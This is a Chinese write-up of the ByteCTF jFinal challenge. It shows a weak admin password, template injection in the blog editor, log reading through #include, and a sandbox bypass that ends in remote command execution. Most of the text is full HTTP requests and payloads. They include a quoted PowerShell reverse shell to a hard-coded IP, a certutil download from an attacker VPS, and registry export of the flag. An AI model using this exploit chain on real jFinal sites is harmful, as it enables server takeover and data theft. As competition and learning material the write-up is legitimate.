ByteCTF-jFinal

ByteCTF jFinal

1.配置本地环境

看sql语句没新建数据库,先创建一个database名为jfinal_blog

1
create database jfinal_blog;

改变/config/app-config-dev.txt里面的mysql密码为本地mysql的:

image-20211021153438506

在mysql的shell中,导入后缀为.sql的文件

1
source jfinal_blog.sql

启动环境

1
./jfinal.bat start

如果想抓包,这里就不要访问 127.0.0.1:30000,因为本地回环网卡burpsuite是抓不到的。

这里看ipconfig后得知本机ip是192.168.43.252,所以访问http://192.168.43.252:30000/然后开一般的代理就能抓到包。

2.题目环境打通

/admin路由 后台默认弱口令 jFinal 111111

审计+黑盒,发现新建博客的内容编辑处有ssti,ssti的poc是 #(2*2) 就会被渲染为 4

image-20211021150956578

关注模板用法 offical document https://jfinal.com/doc/6-4

  1. include指令用于将外部模板内容包含进来,被包含的内容会被解析成为当前模板中的一部分进行使用,如下是代码示例:
1
>#include("sidebar.html")
\#include 指令第一个参数必须为 String 常量,当以 ”/” 打头时将以 baseTemplatePath 为相对路径去找文件,否则将以使用                #include 指令的当前模板的路径为相对路径去找文件。\
  1. render指令在使用上与include指令几乎一样

这里在burpsuite中使用#include()或者#render()读到log文件里面别人打的 大概知道别人的方法是需要反射来绕过沙箱,类似于安全客这篇分析:https://www.anquanke.com/post/id/151398#h3-6

请求的内容

1
blog.title=123&blog.content=#include("../log/jfinal-blog.log")

或者

1
blog.title=123&blog.content=#render("../log/jfinal-blog.log")

发现别人的payload,这里应该是别人打错了才会抛出错误类型和源语句,打通的话不保留的:

634c4d64-98f8-4a80-b1d0-9ec3e8d99786

读log的完整报文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/blog/preview HTTP/1.1
Host: 192.168.43.252:30000
Content-Length: 67
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.43.252:30000
Referer: http://192.168.43.252:30000/admin/blog/add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sessionId=f0b56f4cce334eda98d7d243da59d538
Connection: close

blog.title=123&blog.content=#include("../log/jfinal-blog.log")

2bd050be-f23d-4186-8bea-ceacf49eaf9a

这个选手为什么能考虑到需要去反射绕过呢,代码审计看到,因为这里有springsecurity机制:

7cd60cd3-5e55-4c39-9fb7-8859dee2a768

学习这里的姿势: https://p1n93r.github.io/post/code_audit/jfinal_enjoy_template_engine%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/ 但题目没有这个库:org.apache.commons.lang3.reflect.ConstructorUtils::invokeConstructor

在代码审计中发现一处类的调用 ClassLoaderUtil

也就是 net.sf.ehcache.util.ClassLoaderUtil::createNewInstance

8a7373ee-99ea-4346-8845-d6b221e0f0db

但上述博客后面的方法可以参考: https://p1n93r.github.io/post/code_audit/jfinal_enjoy_template_engine%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/ 文章结尾处

1
2
3
4
#set(x=(java.net.URLClassLoader::getSystemClassLoader()).loadClass("javax.script.ScriptEngineManager"))
#set(payload="powershell -nop -exec bypass -c \\"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 49.234.105.98 -Port 7777\\"")
#set(poc="java.lang.Runtime.getRuntime().exec(\""+payload+"\")")
#((org.apache.commons.lang3.reflect.ConstructorUtils::invokeConstructor(x)).getEngineByExtension("js").eval(poc))

也就是,利用 ScriptEngineManager获取JS脚本引擎,再通过 eval()动态执行java.lang.Runtime.getRuntime().exec(),来执行命令

这里就使用的getEngineByExtension('js').eval(poc)方法来执行代码

使用静态类 net.sf.ehcache.util.ClassLoaderUtil::createNewInstance 拿到 javax.script.ScriptEngineManager 再使用反射RCE

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
blog.title=${{123}}&blog.content=#set(poc="
var clz = Java.type('java.lang.String[]').class;
var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class;
var bclz = Java.type('boolean').class;
var pclz = Java.type('java.lang.ProcessImpl').class;
var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class,2);
java.lang.reflect.Array.set(cmd,0,'touch');
java.lang.reflect.Array.set(cmd,1,'/tmp/pwned');
var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz);
m.setAccessible(true);
print(m);
m.invoke(null,cmd, null, null,null ,false);
")
#((net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")).getEngineByExtension('js').eval(poc))

再用批处理脚本导出flag,在vps上写个bat文件

1
reg export HKEY_CURRENT_USER\ByteCTF  C:/Users/ctf/jfinal-blog/jfinal-blog/webapp/1.reg

先把批处理脚本下载到web目录下 测试下访问性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
POST /admin/blog/preview HTTP/1.1
Host: 39.105.169.140:30000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://39.105.169.140:30000/admin/blog/add
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1081
Origin: http://39.105.169.140:30000
Connection: close
Cookie: sessionId=e7c0e2d6fa484e2fb8851461e2a30e1f
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1

blog.title=${{123}}&blog.content=#set(poc="
var clz = Java.type('java.lang.String[]').class;
var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class;
var bclz = Java.type('boolean').class;
var pclz = Java.type('java.lang.ProcessImpl').class;
var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class,8);
java.lang.reflect.Array.set(cmd,0,'cmd');
java.lang.reflect.Array.set(cmd,1,'/c');
java.lang.reflect.Array.set(cmd,2,'certutil.exe');
java.lang.reflect.Array.set(cmd,3,'-urlcache');
java.lang.reflect.Array.set(cmd,4,'-split');
java.lang.reflect.Array.set(cmd,5,'-f');
java.lang.reflect.Array.set(cmd,6,'http://your vps/bat');
java.lang.reflect.Array.set(cmd,7,'C:/Users/ctf/jfinal-blog/jfinal-blog/webapp/1.bat');

var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz);
m.setAccessible(true);
print(m);
m.invoke(null,cmd, null, null,null ,false);
")
#((net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")).getEngineByExtension('js').eval(poc))

然后执行这个批处理文件 把flag写到web目录下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /admin/blog/preview HTTP/1.1
Host: 39.105.169.140:30000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://39.105.169.140:30000/admin/blog/add
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 830
Origin: http://39.105.169.140:30000
Connection: close
Cookie: sessionId=e7c0e2d6fa484e2fb8851461e2a30e1f
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1

blog.title=${{123}}&blog.content=#set(poc="
var clz = Java.type('java.lang.String[]').class;
var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class;
var bclz = Java.type('boolean').class;
var pclz = Java.type('java.lang.ProcessImpl').class;
var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class,3);
java.lang.reflect.Array.set(cmd,0,'cmd.exe');
java.lang.reflect.Array.set(cmd,1,'/c');
java.lang.reflect.Array.set(cmd,2,'C:/Users/ctf/jfinal-blog/jfinal-blog/webapp/1.bat');
var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz);
m.setAccessible(true);
print(m);
m.invoke(null,cmd, null, null,null ,false);
")
#((net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")).getEngineByExtension('js').eval(poc))

访问 http://url/1.reg 下载reg文件即可得到flag bytectf{Exploit_JVM_ToBypassSandbox}

这里不用vps远程下载,直接导出到web目录也行:

1
2
3
4
5
6
java.lang.reflect.Array.set(cmd,0,'cmd.exe');
java.lang.reflect.Array.set(cmd,1,'/c');
java.lang.reflect.Array.set(cmd,2,'reg');
java.lang.reflect.Array.set(cmd,3,'export');
java.lang.reflect.Array.set(cmd,4,'HKEY_CURRENT_USER\ByteCTF');
java.lang.reflect.Array.set(cmd,5,'C:/Users/ctf/jfinal-blog/jfinal-blog/webapp/1.reg');

修改为本地弹计算器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /admin/blog/preview HTTP/1.1
Host: 192.168.43.252:30000
Content-Length: 785
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.43.252:30000
Referer: http://192.168.43.252:30000/admin/blog/add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sessionId=f0b56f4cce334eda98d7d243da59d538
Connection: close

blog.title=${{123}}&blog.content=#set(poc="
var clz = Java.type('java.lang.String[]').class;
var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class;
var bclz = Java.type('boolean').class;
var pclz = Java.type('java.lang.ProcessImpl').class;
var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class,3);
java.lang.reflect.Array.set(cmd,0,'cmd');
java.lang.reflect.Array.set(cmd,1,'/c');
java.lang.reflect.Array.set(cmd,2,'calc.exe');
var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz);
m.setAccessible(true);
print(m);
m.invoke(null,cmd, null, null,null ,false);
")
#((net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")).getEngineByExtension('js').eval(poc))

如果不换行,触发log则会记录完整的payload,会让别人蹭车:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin/blog/preview HTTP/1.1
Host: 192.168.43.252:30000
Content-Length: 760
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.43.252:30000
Referer: http://192.168.43.252:30000/admin/blog/add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sessionId=f0b56f4cce334eda98d7d243da59d538
Connection: close

blog.title=${{123}}&blog.content=#set(poc="var clz = Java.type('java.lang.String[]').class;var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class;var bclz = Java.type('boolean').class;var pclz = Java.type('java.lang.ProcessImpl').class;var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class,3);java.lang.reflect.Array.set(cmd,0,'cmd');java.lang.reflect.Array.set(cmd,1,'/c');java.lang.reflect.Array.set(cmd,2,'calc.exe');var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz);m.setAccessible(true);print(m);m.invoke(null,cmd, null, null,null ,false)';")
#((net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")).getEngineByExtension('js').eval(poc))